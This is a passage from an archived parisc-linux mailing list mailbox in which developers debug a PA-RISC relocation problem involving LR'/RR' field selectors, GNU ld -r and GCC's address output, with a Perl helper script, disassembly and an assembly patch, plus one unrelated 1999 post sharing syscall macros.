References: <20000713003533.Y9568@linuxcare.com> <E13CmYw-00077l-00@noam.fc.hp.com> <87ya3527ik.fsf@linuxcare.com> <87sntd20mo.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619005 1477 80.91.229.3 (22 Nov 2014 01:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:45 +0000 (UTC)
Cc: Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Thu Jul 13 17:58:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA29346
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 17:58:59 -0600
Original-Received: (qmail 5753 invoked by uid 15267); 14 Jul 2000 00:00:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5745 invoked from network); 14 Jul 2000 00:00:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 00:00:12 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13CsfX-0001G5-00; Thu, 13 Jul 2000 19:45:27 -0400
In-Reply-To: David Huggins-Daines's message of "13 Jul 2000 17:14:55 -0400"
Original-Lines: 200
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7565

Okay, this is my final word on this for today, I promise that if I
send any more mail on it, it will include a patch :-)

David Huggins-Daines <dhd@linuxcare.com> writes:

> No.  My mistake.  binutils is doing the right thing, the problem is
> that, due to the way the LR' and RR' field selectors work, there is a
> bad interaction between cases in which the DPREL21L and DPREL14R (or
> any 21L and 14R relocations actually) are "split" like this, and ld
> -r, which tends to increase the addends to a point where LR' and RR'
> have different effects (LR' expects RR' to be positive, but it isn't).
> Then during final relocation, the wrong thing happens.
> 
> I'll have a better explanation once I work through the failure modes
> and come up with a good short testcase.

Here is a small program that calculates RR' and LR' fields based on a
RELA according to the definitions in the PA-RISC ELF supplement:

#!/usr/bin/perl -w
use strict;

sub RND($) {
  my $x = shift;
  return (($x + 0x1000) & ~0x1fff);
}

sub R($) {
  my $x = shift;
  return $x & 0x7ff;
}

sub L($) {
  my $x = shift;
  return $x & ~0x7ff;
}

sub LR($$) {
  my ($x, $a) = @_;
  return L($x + RND($a));
}

sub RR($$) {
  my ($x, $a) = @_;
  return R($x + RND($a)) + ($a - RND($a));
}

while (<>) {
  my ($value, $addend) = map hex, split;
  my $lr = LR $value, $addend;
  my $rr = RR $value, $addend;
  printf "LR(%x, %x) = %x ; RR(%x, %x) = %x ; LR + RR = %x\n",
    $value, $addend, $lr, $value, $addend, $rr, $lr + $rr;
}
__END__

Now, we see that in net/ipv4/devinet.o we have:

  24:	2b 60 00 00 	addil 0,dp,%r1
			24: R_PARISC_DPREL21L	.data+0x78
  28:	34 19 00 00 	ldi 0,r25
  2c:	34 24 00 00 	ldo 0(r1),r4
			2c: R_PARISC_DPREL14R	.data+0x3c0

Then, in net/ipv4/ipv4.o (which is produced by running ld -r on the
objects in that directory) we see that the addends have been increased:

     b9c:	2b 60 00 00 	addil 0,dp,%r1
			b9c: R_PARISC_DPREL21L	.data+0xd5c
     ba0:	34 19 00 00 	ldi 0,r25
     ba4:	34 24 00 00 	ldo 0(r1),r4
			ba4: R_PARISC_DPREL14R	.data+0x10a4

So, let's feed these addends to that script:

[dhd@tarwebok] ~/src/parisc/binutils-2.10$ perl test-broken-relocs.pl
0 78
LR(0, 78) = 0 ; RR(0, 78) = 78 ; LR + RR = 78
0 3c0
LR(0, 3c0) = 0 ; RR(0, 3c0) = 3c0 ; LR + RR = 3c0

In this case, you can see that everything is fine, because the LR
fields will contain the same values for both relocations.

But now, let's see what happens after we relink it:

[dhd@tarwebok] ~/src/parisc/binutils-2.10$ perl test-broken-relocs.pl
0 d5c
LR(0, d5c) = 0 ; RR(0, d5c) = d5c ; LR + RR = d5c
0 10a4
LR(0, 10a4) = 2000 ; RR(0, 10a4) = fffff0a4 ; LR + RR = 10a4

As you can see, now the LR fields are out of sync, and we get a
negative offset in the LDO instruction even though the addend + value
is still well within the range of a 14-bit signed field.

As far as I can tell, the ABI and possibly the instruction set are
broken by design by using an addition instead of a logical OR to fill
in the low bits of an immediate value [1].  But we have to cope with
this somehow.

> So it would appear that this is a problem with GCC, but I'm not really
> sure.

As far as I can tell, we can either fix this in GCC or in the linker.

I don't know if the linker is able to associate paired 21L and 14R
relocations, but if it were, I assume that it would be fairly easy to
make sure that they stay "in sync" with each other when linking with -r.

However, it could be argued that the real problem is that GCC always
omits the addend when outputting addil instructions for referring to
global data.  For example, this C code:

struct foo {
  int a[192];
  int b;
};

struct foo f = {
  {}, 42
}, g = {
  {}, 666
};

int a(void* foo)
{
}

int main()
{
  a(&f.a[145]);
  a(&f.b);
  a(&g.b);
  return;
}
Generates the following assembly code (edited for length and content):

main:
	.PROC
	.CALLINFO FRAME=64,CALLS,SAVE_RP
	.ENTRY
	stw %r2,-20(%r30)
	ldo 64(%r30),%r30
	addil LR'f-$global$,%r27                ; look ma, no addend
	.CALL ARGW0=GR
	bl a,%r2
	ldo RR'f-$global$+580(%r1),%r26         ; but we have one here!
	addil LR'f-$global$,%r27                ; no addend
	.CALL ARGW0=GR
	bl a,%r2
	ldo RR'f-$global$+768(%r1),%r26         ; addend
	addil LR'g-$global$,%r27                ; no addend
	.CALL ARGW0=GR
	bl a,%r2
	ldo RR'g-$global$+768(%r1),%r26         ; addend
	ldw -84(%r30),%r2
	bv %r0(%r2)
	ldo -64(%r30),%r30
	.EXIT
	.PROCEND

I don't see any good reason why GCC cannot put the addends on the
ADDIL instructions as well.  Manually munging the assembly code and
assembling it certainly produces correct output, and in fact doing the
same to net/ipv4/devinet.s in the kernel:

--- devinet.s~	Thu Jul 13 19:40:55 2000
+++ devinet.s	Thu Jul 13 19:41:16 2000
@@ -2806,7 +2806,7 @@
 	.CALL ARGW0=GR
 	bl register_netdevice_notifier,%r2
 	ldo RR'ip_netdev_notifier-$global$(%r1),%r26
-	addil LR'devinet_sysctl-$global$,%r27
+	addil LR'devinet_sysctl-$global$+840,%r27
 	ldi 0,%r25
 	ldo RR'devinet_sysctl-$global$+840(%r1),%r4
 	.CALL ARGW0=GR,ARGW1=GR

Fixes the non-booting problems :P

Of course, it would be a nice optimization if the above code could
reuse %r1 for different parts of the same structure, if it were of an
appropriate size.  However GCC does not appear to do anything of the
sort, and reading the RTL dumps indicates that the addends are
actually present in the insns all the way up until final output (this
is the RTX for the ADDIL in the .27.dbr dump from the above program):

(insn 8 35 45 (set (reg:SI 1 %r1)
        (high:SI (const:SI (plus:SI (symbol_ref:SI ("f"))
                    (const_int 580 [0x244]))))) 84 {post_std+6} (nil)
    (expr_list:REG_EQUIV (high:SI (const:SI (plus:SI (symbol_ref:SI ("f"))
                    (const_int 580 [0x244]))))
        (nil)))

Implementing the fix is left as an exercise to the writer (argh).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Fri, 14 Jul 2000 10:44:27 +1000 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.com.au>
References: <871z0x1tns.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619005 1481 80.91.229.3 (22 Nov 2014 01:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:45 +0000 (UTC)
Cc: Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Thu Jul 13 18:45:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA30249
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 18:45:12 -0600
Original-Received: (qmail 4752 invoked by uid 15267); 14 Jul 2000 00:46:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4706 invoked from network); 14 Jul 2000 00:46:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 00:46:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA16423;
	Fri, 14 Jul 2000 10:44:27 +1000
In-Reply-To: <871z0x1tns.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7566

On 13 Jul 2000, David Huggins-Daines wrote:

> Okay, this is my final word on this for today, I promise that if I
> send any more mail on it, it will include a patch :-)

Nice bit of debugging, David.  Have a look in
gcc/config/pa/pa.c:output_global_address

      /* How bogus.  The compiler is apparently responsible for
	 rounding the constant if it uses an LR field selector.

	 The linker and/or assembler seem a better place since
	 they have to do this kind of thing already.

	 If we fail to do this, HP's optimizing linker may eliminate
	 an addil, but not update the ldw/stw/ldo instruction that
	 uses the result of the addil.  */
      if (round_constant)
	offset = ((offset + 0x1000) & ~0x1fff);

Zap these two lines, and I think the problem will go away.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 14 Jul 2000 12:02:37 -0400
Organization: Linuxcare, Inc.
Lines: 15
Approved: news@gmane.org
Message-ID: <87lmz4zoma.fsf@linuxcare.com>
References: <1747.963590525@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619006 1483 80.91.229.3 (22 Nov 2014 01:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:46 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Fri Jul 14 10:15:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21389
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:15:51 -0600
Original-Received: (qmail 15557 invoked by uid 15267); 14 Jul 2000 16:17:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15548 invoked from network); 14 Jul 2000 16:17:14 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:17:14 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13D7vD-0007LX-00; Fri, 14 Jul 2000 12:02:39 -0400
In-Reply-To: Jeffrey A Law's message of "Fri, 14 Jul 2000 10:02:05 -0600"
Original-Lines: 14
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7567

Jeffrey A Law <law@cygnus.com> writes:

>   In message <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.com.au>y
> ou write:
>   > Zap these two lines, and I think the problem will go away.
> But that's totally the wrong thing to do as it will break hpux.
> 
> The linker is the problem.

I've conditionalized it on the existence of GNU ld, is that okay?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Fri, 14 Jul 2000 10:02:05 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <1747.963590525@upchuck>
References: <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619006 1486 80.91.229.3 (22 Nov 2014 01:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:46 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Fri Jul 14 10:18:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21547
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:18:09 -0600
Original-Received: (qmail 18444 invoked by uid 15267); 14 Jul 2000 16:19:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18431 invoked from network); 14 Jul 2000 16:19:41 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:19:41 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA01750;
	Fri, 14 Jul 2000 10:02:05 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 14 Jul 2000 10:44:27 +1000.
             <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7568


  In message <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.com.au>y
ou write:
  > On 13 Jul 2000, David Huggins-Daines wrote:
  > 
  > > Okay, this is my final word on this for today, I promise that if I
  > > send any more mail on it, it will include a patch :-)
  > 
  > Nice bit of debugging, David.  Have a look in
  > gcc/config/pa/pa.c:output_global_address
  > 
  >       /* How bogus.  The compiler is apparently responsible for
  > 	 rounding the constant if it uses an LR field selector.
  > 
  > 	 The linker and/or assembler seem a better place since
  > 	 they have to do this kind of thing already.
  > 
  > 	 If we fail to do this, HP's optimizing linker may eliminate
  > 	 an addil, but not update the ldw/stw/ldo instruction that
  > 	 uses the result of the addil.  */
  >       if (round_constant)
  > 	offset = ((offset + 0x1000) & ~0x1fff);
  > 
  > Zap these two lines, and I think the problem will go away.
But that's totally the wrong thing to do as it will break hpux.

The linker is the problem.

jeff


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 14 Jul 2000 12:10:16 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87hf9szo9j.fsf@linuxcare.com>
References: <2654.963516035@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619006 1487 80.91.229.3 (22 Nov 2014 01:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:46 +0000 (UTC)
Cc: Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Fri Jul 14 10:23:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA22002
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:23:35 -0600
Original-Received: (qmail 24308 invoked by uid 15267); 14 Jul 2000 16:25:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24282 invoked from network); 14 Jul 2000 16:25:10 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:25:10 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13D82b-0007a0-00; Fri, 14 Jul 2000 12:10:17 -0400
In-Reply-To: Jeffrey A Law's message of "Thu, 13 Jul 2000 13:20:35 -0600"
Original-Lines: 11
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7569

Jeffrey A Law <law@cygnus.com> writes:

> How/why is ld -r changing the addends?  That seems wrong at first glance.

The relocations in question are specified as <.data+0xf00>, and thus,
as far as I can tell, it has to change the addends since there is no
symbol value within .data that it can update.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Fri, 14 Jul 2000 10:37:36 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <1970.963592656@upchuck>
References: <87lmz4zoma.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619007 1490 80.91.229.3 (22 Nov 2014 01:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:47 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jul 14 10:44:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23118
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:44:55 -0600
Original-Received: (qmail 14777 invoked by uid 15267); 14 Jul 2000 16:46:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14759 invoked from network); 14 Jul 2000 16:46:29 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:46:29 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA01973;
	Fri, 14 Jul 2000 10:37:36 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 14 Jul 2000 12:02:37 EDT.
             <87lmz4zoma.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7570



  In message <87lmz4zoma.fsf@linuxcare.com>you write:
  > Jeffrey A Law <law@cygnus.com> writes:
  > 
  > >   In message <Pine.LNX.4.21.0007141038590.15538-100000@front.linuxcare.co
  > m.au>y
  > > ou write:
  > >   > Zap these two lines, and I think the problem will go away.
  > > But that's totally the wrong thing to do as it will break hpux.
  > > 
  > > The linker is the problem.
  > 
  > I've conditionalized it on the existence of GNU ld, is that okay?
No, because you're working around a bug in GNU-ld.  GCC is following
the defined behavior for the PA32 ABI.
jeff


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Thu, 13 Jul 2000 13:20:35 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <2654.963516035@upchuck>
References: <87sntd20mo.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619007 1496 80.91.229.3 (22 Nov 2014 01:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:47 +0000 (UTC)
Cc: Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jul 14 10:49:12 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA23370
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:49:12 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id 070002F2E
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 12:10:29 -0400 (EDT)
Original-Received: (qmail 623 invoked by uid 15267); 14 Jul 2000 16:04:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31862 invoked from network); 14 Jul 2000 16:00:45 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:00:45 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA02657;
	Thu, 13 Jul 2000 13:20:35 -0600
In-reply-to: Your message of 13 Jul 2000 17:14:55 EDT.
             <87sntd20mo.fsf@linuxcare.com> 
Original-Sender: law@upchuck.cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:7571


  In message <87sntd20mo.fsf@linuxcare.com>you write:
  > David Huggins-Daines <dhd@linuxcare.com> writes:
  > 
  > > It looks like binutils is incorrectly treating those fields as
  > > unsigned, or has an off by one error, or something similar.  The
  > 
  > No.  My mistake.  binutils is doing the right thing, the problem is
  > that, due to the way the LR' and RR' field selectors work, there is a
  > bad interaction between cases in which the DPREL21L and DPREL14R (or
  > any 21L and 14R relocations actually) are "split" like this, and ld
  > -r, which tends to increase the addends to a point where LR' and RR'
  > have different effects (LR' expects RR' to be positive, but it isn't).
  > Then during final relocation, the wrong thing happens.
How/why is ld -r changing the addends?  That seems wrong at first glance.

You might look at how the HP SOM tools handle addends during ld -r;
I suspect they don't change.

To the best of my knowledge GCC is using LR/RR in the prescribed way.

jeff


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 12:33:15 -0500
Organization: mozilla.org diplomatic corps
Lines: 60
Approved: news@gmane.org
Message-ID: <36FA735B.A36FDB6D@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------730027CB6170D7FBD3ED2024"
X-Trace: ger.gmane.org 1416619007 1498 80.91.229.3 (22 Nov 2014 01:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:47 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Wed Mar 24 23:36:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA10670
	for <hppa-linux@sod.res.cmu.edu>; Wed, 24 Mar 1999 23:36:36 -0500
Original-Received: (qmail 19679 invoked by uid 15267); 25 Mar 1999 04:35:22 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 19672 invoked from network); 25 Mar 1999 04:35:22 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 04:35:22 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id UAA09183
	for <hppa-linux@thepuffingroup.com>; Wed, 24 Mar 1999 20:35:57 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F94VG400.F9Q for <hppa-linux@thepuffingroup.com>; Wed, 24 Mar
          1999 20:36:04 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7572

This is a multi-part message in MIME format.
--------------730027CB6170D7FBD3ED2024
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've committed a mildly updated version of unistd.h, which contains the
magic _syscall<n> macros.  I'm sure I'm doing silly things, so you
should all point and laugh as approriate.

I've attached the relevant chunks for your easy mocking.

Mike

-- 
22863.99 20474.77
--------------730027CB6170D7FBD3ED2024
Content-Type: text/plain; charset=us-ascii;
 name="syscall.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="syscall.c"


#define syscall_prolog                                                        \
    register long __res __asm__("%r22");                                      \
    register long __err __asm__("%r28");

#define syscall_epilog(type)                                                  \
if (__err == 0)                                                               \
        return (type) __res;                                                  \
errno = __res;                                                                \
return -1;

#define _syscall0(type,name)                                                  \
type name(void)                                                               \
{                                                                             \
    syscall_prolog;                                                           \
    __asm__ volatile ("ldil L%%0xC0000004,%%r1\n\t"                           \
                      "ble  R%%0xC0000004(%%sr7,%%r1)\n\t"                    \
                      "ldo  %2,%%r22"                                         \
                      : "=r" (__res), "=r" (__err)                            \
                      : "i" (__NR_##name));                                   \
    syscall_epilog(type);                                                     \
}

#define _syscall1(type,name,atype,a)                                          \
type name(atype a)                                                            \
{                                                                             \
    syscall_prolog;                                                           \
    __asm__ volatile ("ldo  %2,%%arg0\n\t"                                    \
                      "ldil L%%0xC0000004,%%r1\n\t"                           \
                      "ble  R%%0xC0000004(%%sr7,%%r1)\n\t"                    \
                      "ldo  %3,%%r22"                                         \
                      : "=r" (__res), "=r" (__err)                            \
                      : "i" (__NR_##name), "r" ((long)a));                    \
    syscall_epilog(type);                                                     \
}

--------------730027CB6170D7FBD3ED2024--


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Fri, 14 Jul 2000 10:39:22 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <1991.963592762@upchuck>
References: <87hf9szo9j.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619008 1764 80.91.229.3 (22 Nov 2014 01:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:48 +0000 (UTC)
Cc: Paul Bame <bame@noam.fc.hp.com>,
        Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jul 14 10:50:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23474
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 10:50:32 -0600
Original-Received: (qmail 20486 invoked by uid 15267); 14 Jul 2000 16:52:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20469 invoked from network); 14 Jul 2000 16:52:07 -0000
